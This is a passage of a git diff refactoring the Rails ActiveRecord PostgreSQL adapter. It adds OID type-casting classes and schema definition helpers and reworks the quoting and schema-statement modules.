+ # Postgres does not preserve insignificant whitespaces when
+ # roundtripping jsonb columns. This causes some false positives for
+ # the comparison here. Therefore, we need to parse and re-dump the
+ # raw value here to ensure the insignificant whitespaces are
+ # consistent with our encoder's output.
+ raw_old_value = type_cast_for_database(type_cast_from_database(raw_old_value))
+ super(raw_old_value, new_value)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
new file mode 100644
index 0000000000..df890c2ed6
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -0,0 +1,43 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Money < Type::Decimal # :nodoc:
+ include Infinity
+
+ class_attribute :precision
+
+ def type
+ :money
+ end
+
+ def scale
+ 2
+ end
+
+ def cast_value(value)
+ return value unless ::String === value
+
+ # Because money output is formatted according to the locale, there are two
+ # cases to consider (note the decimal separators):
+ # (1) $12,345,678.12
+ # (2) $12.345.678,12
+ # Negative values are represented as follows:
+ # (3) -$2.55
+ # (4) ($2.55)
+
+ value.sub!(/^\((.+)\)$/, '-\1') # (4)
+ case value
+ when /^-?\D+[\d,]+\.\d{2}$/ # (1)
+ value.gsub!(/[^-\d.]/, '')
+ when /^-?\D+[\d.]+,\d{2}$/ # (2)
+ value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+ end
+
+ super(value)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
new file mode 100644
index 0000000000..bac8b01d6b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
@@ -0,0 +1,43 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Point < Type::Value # :nodoc:
+ include Type::Mutable
+
+ def type
+ :point
+ end
+
+ def type_cast(value)
+ case value
+ when ::String
+ if value[0] == '(' && value[-1] == ')'
+ value = value[1...-1]
+ end
+ type_cast(value.split(','))
+ when ::Array
+ value.map { |v| Float(v) }
+ else
+ value
+ end
+ end
+
+ def type_cast_for_database(value)
+ if value.is_a?(::Array)
+ "(#{number_for_point(value[0])},#{number_for_point(value[1])})"
+ else
+ super
+ end
+ end
+
+ private
+
+ def number_for_point(number)
+ number.to_s.gsub(/\.0$/, '')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
new file mode 100644
index 0000000000..961e6224c4
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
@@ -0,0 +1,79 @@
+require 'active_support/core_ext/string/filters'
+
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Range < Type::Value # :nodoc:
+ attr_reader :subtype, :type
+
+ def initialize(subtype, type)
+ @subtype = subtype
+ @type = type
+ end
+
+ def type_cast_for_schema(value)
+ value.inspect.gsub('Infinity', '::Float::INFINITY')
+ end
+
+ def cast_value(value)
+ return if value == 'empty'
+ return value if value.is_a?(::Range)
+
+ extracted = extract_bounds(value)
+ from = type_cast_single extracted[:from]
+ to = type_cast_single extracted[:to]
+
+ if !infinity?(from) && extracted[:exclude_start]
+ if from.respond_to?(:succ)
+ from = from.succ
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Excluding the beginning of a Range is only partialy supported
+ through `#succ`. This is not reliable and will be removed in
+ the future.
+ MSG
+ else
+ raise ArgumentError, "The Ruby Range object does not support excluding the beginning of a Range. (unsupported value: '#{value}')"
+ end
+ end
+ ::Range.new(from, to, extracted[:exclude_end])
+ end
+
+ def type_cast_for_database(value)
+ if value.is_a?(::Range)
+ from = type_cast_single_for_database(value.begin)
+ to = type_cast_single_for_database(value.end)
+ "[#{from},#{to}#{value.exclude_end? ? ')' : ']'}"
+ else
+ super
+ end
+ end
+
+ private
+
+ def type_cast_single(value)
+ infinity?(value) ? value : @subtype.type_cast_from_database(value)
+ end
+
+ def type_cast_single_for_database(value)
+ infinity?(value) ? '' : @subtype.type_cast_for_database(value)
+ end
+
+ def extract_bounds(value)
+ from, to = value[1..-2].split(',')
+ {
+ from: (value[1] == ',' || from == '-infinity') ? @subtype.infinity(negative: true) : from,
+ to: (value[-2] == ',' || to == 'infinity') ? @subtype.infinity : to,
+ exclude_start: (value[0] == '('),
+ exclude_end: (value[-1] == ')')
+ }
+ end
+
+ def infinity?(value)
+ value.respond_to?(:infinite?) && value.infinite?
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
new file mode 100644
index 0000000000..2d2fede4e8
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class SpecializedString < Type::String # :nodoc:
+ attr_reader :type
+
+ def initialize(type)
+ @type = type
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/time.rb
new file mode 100644
index 0000000000..8f0246eddb
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/time.rb
@@ -0,0 +1,11 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Time < Type::Time # :nodoc:
+ include Infinity
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
new file mode 100644
index 0000000000..35e699eeda
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
@@ -0,0 +1,85 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ # This class uses the data from PostgreSQL pg_type table to build
+ # the OID -> Type mapping.
+ # - OID is an integer representing the type.
+ # - Type is an OID::Type object.
+ # This class has side effects on the +store+ passed during initialization.
+ class TypeMapInitializer # :nodoc:
+ def initialize(store)
+ @store = store
+ end
+
+ def run(records)
+ nodes = records.reject { |row| @store.key? row['oid'].to_i }
+ mapped, nodes = nodes.partition { |row| @store.key? row['typname'] }
+ ranges, nodes = nodes.partition { |row| row['typtype'] == 'r' }
+ enums, nodes = nodes.partition { |row| row['typtype'] == 'e' }
+ domains, nodes = nodes.partition { |row| row['typtype'] == 'd' }
+ arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+ composites, nodes = nodes.partition { |row| row['typelem'] != '0' }
+
+ mapped.each { |row| register_mapped_type(row) }
+ enums.each { |row| register_enum_type(row) }
+ domains.each { |row| register_domain_type(row) }
+ arrays.each { |row| register_array_type(row) }
+ ranges.each { |row| register_range_type(row) }
+ composites.each { |row| register_composite_type(row) }
+ end
+
+ private
+ def register_mapped_type(row)
+ alias_type row['oid'], row['typname']
+ end
+
+ def register_enum_type(row)
+ register row['oid'], OID::Enum.new
+ end
+
+ def register_array_type(row)
+ if subtype = @store.lookup(row['typelem'].to_i)
+ register row['oid'], OID::Array.new(subtype, row['typdelim'])
+ end
+ end
+
+ def register_range_type(row)
+ if subtype = @store.lookup(row['rngsubtype'].to_i)
+ register row['oid'], OID::Range.new(subtype, row['typname'].to_sym)
+ end
+ end
+
+ def register_domain_type(row)
+ if base_type = @store.lookup(row["typbasetype"].to_i)
+ register row['oid'], base_type
+ else
+ warn "unknown base type (OID: #{row["typbasetype"]}) for domain #{row["typname"]}."
+ end
+ end
+
+ def register_composite_type(row)
+ if subtype = @store.lookup(row['typelem'].to_i)
+ register row['oid'], OID::Vector.new(row['typdelim'], subtype)
+ end
+ end
+
+ def register(oid, oid_type)
+ oid = assert_valid_registration(oid, oid_type)
+ @store.register_type(oid, oid_type)
+ end
+
+ def alias_type(oid, target)
+ oid = assert_valid_registration(oid, target)
+ @store.alias_type(oid, target)
+ end
+
+ def assert_valid_registration(oid, oid_type)
+ raise ArgumentError, "can't register nil type for OID #{oid}" if oid_type.nil?
+ oid.to_i
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
new file mode 100644
index 0000000000..033e0324bb
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
@@ -0,0 +1,28 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Uuid < Type::Value # :nodoc:
+ RFC_4122 = %r{\A\{?[a-fA-F0-9]{4}-?
+ [a-fA-F0-9]{4}-?
+ [a-fA-F0-9]{4}-?
+ [1-5][a-fA-F0-9]{3}-?
+ [8-Bab][a-fA-F0-9]{3}-?
+ [a-fA-F0-9]{4}-?
+ [a-fA-F0-9]{4}-?
+ [a-fA-F0-9]{4}-?\}?\z}x
+
+ alias_method :type_cast_for_database, :type_cast_from_database
+
+ def type
+ :uuid
+ end
+
+ def type_cast(value)
+ value.to_s[RFC_4122, 0]
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
new file mode 100644
index 0000000000..de4187b028
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
@@ -0,0 +1,26 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Vector < Type::Value # :nodoc:
+ attr_reader :delim, :subtype
+
+ # +delim+ corresponds to the `typdelim` column in the pg_types
+ # table. +subtype+ is derived from the `typelem` column in the
+ # pg_types table.
+ def initialize(delim, subtype)
+ @delim = delim
+ @subtype = subtype
+ end
+
+ # FIXME: this should probably split on +delim+ and use +subtype+
+ # to cast the values. Unfortunately, the current Rails behavior
+ # is to just return the string.
+ def type_cast(value)
+ value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
new file mode 100644
index 0000000000..334af7c598
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
@@ -0,0 +1,28 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Xml < Type::String # :nodoc:
+ def type
+ :xml
+ end
+
+ def type_cast_for_database(value)
+ return unless value
+ Data.new(super)
+ end
+
+ class Data # :nodoc:
+ def initialize(value)
+ @value = value
+ end
+
+ def to_s
+ @value
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
index 62a4d76928..991c41327f 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -1,100 +1,17 @@
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
+ module PostgreSQL
module Quoting
# Escapes binary strings for bytea input to the database.
def escape_bytea(value)
- PGconn.escape_bytea(value) if value
+ @connection.escape_bytea(value) if value
end
# Unescapes bytea output from a database to the binary string it represents.
# NOTE: This is NOT an inverse of escape_bytea! This is only to be used
# on escaped binary output from database drive.
def unescape_bytea(value)
- PGconn.unescape_bytea(value) if value
- end
-
- # Quotes PostgreSQL-specific data types for SQL input.
- def quote(value, column = nil) #:nodoc:
- return super unless column
-
- case value
- when Array
- if column.array
- "'#{PostgreSQLColumn.array_to_string(value, column, self)}'"
- else
- super
- end
- when Hash
- case column.sql_type
- when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
- when 'json' then super(PostgreSQLColumn.json_to_string(value), column)
- else super
- end
- when IPAddr
- case column.sql_type
- when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
- else super
- end
- when Float
- if value.infinite? && column.type == :datetime
- "'#{value.to_s.downcase}'"
- elsif value.infinite? || value.nan?
- "'#{value.to_s}'"
- else
- super
- end
- when Numeric
- return super unless column.sql_type == 'money'
- # Not truly string input, so doesn't require (or allow) escape string syntax.
- "'#{value}'"
- when String
- case column.sql_type
- when 'bytea' then "'#{escape_bytea(value)}'"
- when 'xml' then "xml '#{quote_string(value)}'"
- when /^bit/
- case value
- when /^[01]*$/ then "B'#{value}'" # Bit-string notation
- when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
- end
- else
- super
- end
- else
- super
- end
- end
-
- def type_cast(value, column, array_member = false)
- return super(value, column) unless column
-
- case value
- when NilClass
- if column.array && array_member
- 'NULL'
- elsif column.array
- value
- else
- super(value, column)
- end
- when Array
- return super(value, column) unless column.array
- PostgreSQLColumn.array_to_string(value, column, self)
- when String
- return super(value, column) unless 'bytea' == column.sql_type
- { :value => value, :format => 1 }
- when Hash
- case column.sql_type
- when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
- when 'json' then PostgreSQLColumn.json_to_string(value)
- else super(value, column)
- end
- when IPAddr
- return super(value, column) unless ['inet','cidr'].include? column.sql_type
- PostgreSQLColumn.cidr_to_string(value)
- else
- super(value, column)
- end
+ @connection.unescape_bytea(value) if value
end
# Quotes strings for use in SQL input.
@@ -111,14 +28,11 @@ module ActiveRecord
# - "schema.name".table_name
# - "schema.name"."table.name"
def quote_table_name(name)
- schema, name_part = extract_pg_identifier_from_name(name.to_s)
+ Utils.extract_schema_qualified_name(name.to_s).quoted
+ end
- unless name_part
- quote_column_name(schema)
- else
- table_name, name_part = extract_pg_identifier_from_name(name_part)
- "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
- end
+ def quote_table_name_for_assignment(table, attr)
+ quote_column_name(attr)
end
# Quotes column names for use in SQL queries.
@@ -134,11 +48,60 @@ module ActiveRecord
result = "#{result}.#{sprintf("%06d", value.usec)}"
end
- if value.year < 0
- result = result.sub(/^-/, "") + " BC"
+ if value.year <= 0
+ bce_year = format("%04d", -value.year + 1)
+ result = result.sub(/^-?\d+/, bce_year) + " BC"
end
result
end
+
+ # Does not quote function default values for UUID columns
+ def quote_default_value(value, column) #:nodoc:
+ if column.type == :uuid && value =~ /\(\)/
+ value
+ else
+ quote(value, column)
+ end
+ end
+
+ private
+
+ def _quote(value)
+ case value
+ when Type::Binary::Data
+ "'#{escape_bytea(value.to_s)}'"
+ when OID::Xml::Data
+ "xml '#{quote_string(value.to_s)}'"
+ when OID::Bit::Data
+ if value.binary?
+ "B'#{value}'"
+ elsif value.hex?
+ "X'#{value}'"
+ end
+ when Float
+ if value.infinite? || value.nan?
+ "'#{value}'"
+ else
+ super
+ end
+ else
+ super
+ end
+ end
+
+ def _type_cast(value)
+ case value
+ when Type::Binary::Data
+ # Return a bind param hash with format as binary.
+ # See http://deveiate.org/code/pg/PGconn.html#method-i-exec_prepared-doc
+ # for more information
+ { value: value.to_s, format: 1 }
+ when OID::Xml::Data, OID::Bit::Data
+ value.to_s
+ else
+ super
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
index 16da3ea732..52b307c432 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -1,19 +1,27 @@
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
- module ReferentialIntegrity
- def supports_disable_referential_integrity? #:nodoc:
+ module PostgreSQL
+ module ReferentialIntegrity # :nodoc:
+ def supports_disable_referential_integrity? # :nodoc:
true
end
- def disable_referential_integrity #:nodoc:
- if supports_disable_referential_integrity? then
- execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+ def disable_referential_integrity # :nodoc:
+ if supports_disable_referential_integrity?
+ begin
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+ rescue
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER USER" }.join(";"))
+ end
end
yield
ensure
- if supports_disable_referential_integrity? then
- execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+ if supports_disable_referential_integrity?
+ begin
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+ rescue
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER USER" }.join(";"))
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
new file mode 100644
index 0000000000..b37630a04c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
@@ -0,0 +1,152 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module ColumnMethods
+ def xml(*args)
+ options = args.extract_options!
+ column(args[0], :xml, options)
+ end
+
+ def tsvector(*args)
+ options = args.extract_options!
+ column(args[0], :tsvector, options)
+ end
+
+ def int4range(name, options = {})
+ column(name, :int4range, options)
+ end
+
+ def int8range(name, options = {})
+ column(name, :int8range, options)
+ end
+
+ def tsrange(name, options = {})
+ column(name, :tsrange, options)
+ end
+
+ def tstzrange(name, options = {})
+ column(name, :tstzrange, options)
+ end
+
+ def numrange(name, options = {})
+ column(name, :numrange, options)
+ end
+
+ def daterange(name, options = {})
+ column(name, :daterange, options)
+ end
+
+ def hstore(name, options = {})
+ column(name, :hstore, options)
+ end
+
+ def ltree(name, options = {})
+ column(name, :ltree, options)
+ end
+
+ def inet(name, options = {})
+ column(name, :inet, options)
+ end
+
+ def cidr(name, options = {})
+ column(name, :cidr, options)
+ end
+
+ def macaddr(name, options = {})
+ column(name, :macaddr, options)
+ end
+
+ def uuid(name, options = {})
+ column(name, :uuid, options)
+ end
+
+ def json(name, options = {})
+ column(name, :json, options)
+ end
+
+ def jsonb(name, options = {})
+ column(name, :jsonb, options)
+ end
+
+ def citext(name, options = {})
+ column(name, :citext, options)
+ end
+
+ def point(name, options = {})
+ column(name, :point, options)
+ end
+
+ def bit(name, options)
+ column(name, :bit, options)
+ end
+
+ def bit_varying(name, options)
+ column(name, :bit_varying, options)
+ end
+
+ def money(name, options)
+ column(name, :money, options)
+ end
+ end
+
+ class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
+ attr_accessor :array
+ end
+
+ class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+ include ColumnMethods
+
+ # Defines the primary key field.
+ # Use of the native PostgreSQL UUID type is supported, and can be used
+ # by defining your tables as such:
+ #
+ # create_table :stuffs, id: :uuid do |t|
+ # t.string :content
+ # t.timestamps
+ # end
+ #
+ # By default, this will use the +uuid_generate_v4()+ function from the
+ # +uuid-ossp+ extension, which MUST be enabled on your database. To enable
+ # the +uuid-ossp+ extension, you can use the +enable_extension+ method in your
+ # migrations. To use a UUID primary key without +uuid-ossp+ enabled, you can
+ # set the +:default+ option to +nil+:
+ #
+ # create_table :stuffs, id: false do |t|
+ # t.primary_key :id, :uuid, default: nil
+ # t.uuid :foo_id
+ # t.timestamps
+ # end
+ #
+ # You may also pass a different UUID generation function from +uuid-ossp+
+ # or another library.
+ #
+ # Note that setting the UUID primary key default value to +nil+ will
+ # require you to assure that you always provide a UUID value before saving
+ # a record (as primary keys cannot be +nil+). This might be done via the
+ # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
+ def primary_key(name, type = :primary_key, options = {})
+ return super unless type == :uuid
+ options[:default] = options.fetch(:default, 'uuid_generate_v4()')
+ options[:primary_key] = true
+ column name, type, options
+ end
+
+ def new_column_definition(name, type, options) # :nodoc:
+ column = super
+ column.array = options[:array]
+ column
+ end
+
+ private
+
+ def create_column_definition(name, type)
+ PostgreSQL::ColumnDefinition.new name, type
+ end
+ end
+
+ class Table < ActiveRecord::ConnectionAdapters::Table
+ include ColumnMethods
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index 18bf14d1fb..f29b793a3f 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -1,6 +1,48 @@
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
+ module PostgreSQL
+ class SchemaCreation < AbstractAdapter::SchemaCreation
+ private
+
+ def visit_ColumnDefinition(o)
+ sql = super
+ if o.primary_key? && o.type != :primary_key
+ sql << " PRIMARY KEY "
+ add_column_options!(sql, column_options(o))
+ end
+ sql
+ end
+
+ def column_options(o)
+ column_options = super
+ column_options[:array] = o.array
+ column_options
+ end
+
+ def add_column_options!(sql, options)
+ if options[:array]
+ sql << '[]'
+ end
+ super
+ end
+
+ def quote_default_expression(value, column)
+ if column.type == :uuid && value =~ /\(\)/
+ value
+ else
+ super
+ end
+ end
+
+ def type_for_column(column)
+ if column.array
+ @conn.lookup_cast_type("#{column.sql_type}[]")
+ else
+ super
+ end
+ end
+ end
+
module SchemaStatements
# Drops the database specified on the +name+ attribute
# and creates it again using the provided +options+.
@@ -10,7 +52,7 @@ module ActiveRecord
end
# Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
- # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+ # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
# <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
# <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
#
@@ -18,10 +60,10 @@ module ActiveRecord
# create_database config[:database], config
# create_database 'foo_development', encoding: 'unicode'
def create_database(name, options = {})
- options = options.reverse_merge(:encoding => "utf8")
+ options = { encoding: 'utf8' }.merge!(options.symbolize_keys)
- option_string = options.symbolize_keys.sum do |key, value|
- case key
+ option_string = options.inject("") do |memo, (key, value)|
+ memo += case key
when :owner
" OWNER = \"#{value}\""
when :template
@@ -65,19 +107,16 @@ module ActiveRecord
# If the schema is not specified as part of +name+ then it will only find tables within
# the current schema search path (regardless of permissions to access tables in other schemas)
def table_exists?(name)
- schema, table = Utils.extract_schema_and_table(name.to_s)
- return false unless table
-
- binds = [[nil, table]]
- binds << [nil, schema] if schema
+ name = Utils.extract_schema_qualified_name(name.to_s)
+ return false unless name.identifier
exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
SELECT COUNT(*)
FROM pg_class c
LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE c.relkind in ('v','r')
- AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
- AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
+ WHERE c.relkind IN ('r','v','m') -- (r)elation/table, (v)iew, (m)aterialized view
+ AND c.relname = '#{name.identifier}'
+ AND n.nspname = #{name.schema ? "'#{name.schema}'" : 'ANY (current_schemas(false))'}
SQL
end
@@ -90,6 +129,19 @@ module ActiveRecord
SQL
end
+ def index_name_exists?(table_name, index_name, default)
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_class t
+ INNER JOIN pg_index d ON t.oid = d.indrelid
+ INNER JOIN pg_class i ON d.indexrelid = i.oid
+ WHERE i.relkind = 'i'
+ AND i.relname = '#{index_name}'
+ AND t.relname = '#{table_name}'
+ AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+ SQL
+ end
+
# Returns an array of indexes for the given table.
def indexes(table_name, name = nil)
result = query(<<-SQL, 'SCHEMA')
@@ -120,12 +172,15 @@ module ActiveRecord
column_names = columns.values_at(*indkey).compact
- # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
- desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
- orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
- where = inddef.scan(/WHERE (.+)$/).flatten[0]
+ unless column_names.empty?
+ # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
+ desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
+ orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
+ where = inddef.scan(/WHERE (.+)$/).flatten[0]
+ using = inddef.scan(/USING (.+?) /).flatten[0].to_sym
- column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where)
+ IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where, nil, using)
+ end
end.compact
end
@@ -133,13 +188,17 @@ module ActiveRecord
def columns(table_name)
# Limit, precision, and scale are all handled by the superclass.
column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
- oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
- OID::Identity.new
- }
- PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
+ oid = get_oid_type(oid.to_i, fmod.to_i, column_name, type)
+ default_value = extract_value_from_default(oid, default)
+ default_function = extract_default_function(default_value, default)
+ new_column(column_name, default_value, oid, type, notnull == 'f', default_function)
end
end
+ def new_column(name, default, cast_type, sql_type = nil, null = true, default_function = nil) # :nodoc:
+ PostgreSQLColumn.new(name, default, cast_type, sql_type, null, default_function)
+ end
+
# Returns the current database name.
def current_database
query('select current_database()', 'SCHEMA')[0][0]
@@ -224,9 +283,9 @@ module ActiveRecord
def default_sequence_name(table_name, pk = nil) #:nodoc:
result = serial_sequence(table_name, pk || 'id')
return nil unless result
- result.split('.').last
+ Utils.extract_schema_qualified_name(result).to_s
rescue ActiveRecord::StatementInvalid
- "#{table_name}_#{pk || 'id'}_seq"
+ PostgreSQL::Name.new(nil, "#{table_name}_#{pk || 'id'}_seq").to_s
end
def serial_sequence(table, column)
@@ -236,6 +295,23 @@ module ActiveRecord
result.rows.first.first
end
+ # Sets the sequence of a table's primary key to the specified value.
+ def set_pk_sequence!(table, value) #:nodoc:
+ pk, sequence = pk_and_sequence_for(table)
+
+ if pk
+ if sequence
+ quoted_sequence = quote_table_name(sequence)
+
+ select_value <<-end_sql, 'SCHEMA'
+ SELECT setval('#{quoted_sequence}', #{value})
+ end_sql
+ else
+ @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger
+ end
+ end
+ end
+
# Resets the sequence of a table's primary key to the maximum value.
def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
unless pk and sequence
@@ -263,25 +339,29 @@ module ActiveRecord
# First try looking for a sequence with a dependency on the
# given table's primary key.
result = query(<<-end_sql, 'SCHEMA')[0]
- SELECT attr.attname, seq.relname
+ SELECT attr.attname, nsp.nspname, seq.relname
FROM pg_class seq,
pg_attribute attr,
pg_depend dep,
- pg_constraint cons
+ pg_constraint cons,
+ pg_namespace nsp
WHERE seq.oid = dep.objid
AND seq.relkind = 'S'
AND attr.attrelid = dep.refobjid
AND attr.attnum = dep.refobjsubid
AND attr.attrelid = cons.conrelid
AND attr.attnum = cons.conkey[1]
+ AND seq.relnamespace = nsp.oid
AND cons.contype = 'p'
+ AND dep.classid = 'pg_class'::regclass
AND dep.refobjid = '#{quote_table_name(table)}'::regclass
end_sql
if result.nil? or result.empty?
result = query(<<-end_sql, 'SCHEMA')[0]
- SELECT attr.attname,
+ SELECT attr.attname, nsp.nspname,
CASE
+ WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL
WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN
substr(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2),
strpos(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2), '.')+1)
@@ -291,13 +371,19 @@ module ActiveRecord
JOIN pg_attribute attr ON (t.oid = attrelid)
JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)
JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])
+ JOIN pg_namespace nsp ON (t.relnamespace = nsp.oid)
WHERE t.oid = '#{quote_table_name(table)}'::regclass
AND cons.contype = 'p'
- AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval'
+ AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate'
end_sql
end
- [result.first, result.last]
+ pk = result.shift
+ if result.last
+ [pk, PostgreSQL::Name.new(*result)]
+ else
+ [pk, nil]
+ end
rescue
nil
end
@@ -316,37 +402,45 @@ module ActiveRecord
end
# Renames a table.
- # Also renames a table's primary key sequence if the sequence name matches the
- # Active Record default.
+ # Also renames a table's primary key sequence if the sequence name exists and
+ # matches the Active Record default.
#
# Example:
# rename_table('octopuses', 'octopi')
- def rename_table(name, new_name)
+ def rename_table(table_name, new_name)
clear_cache!
- execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
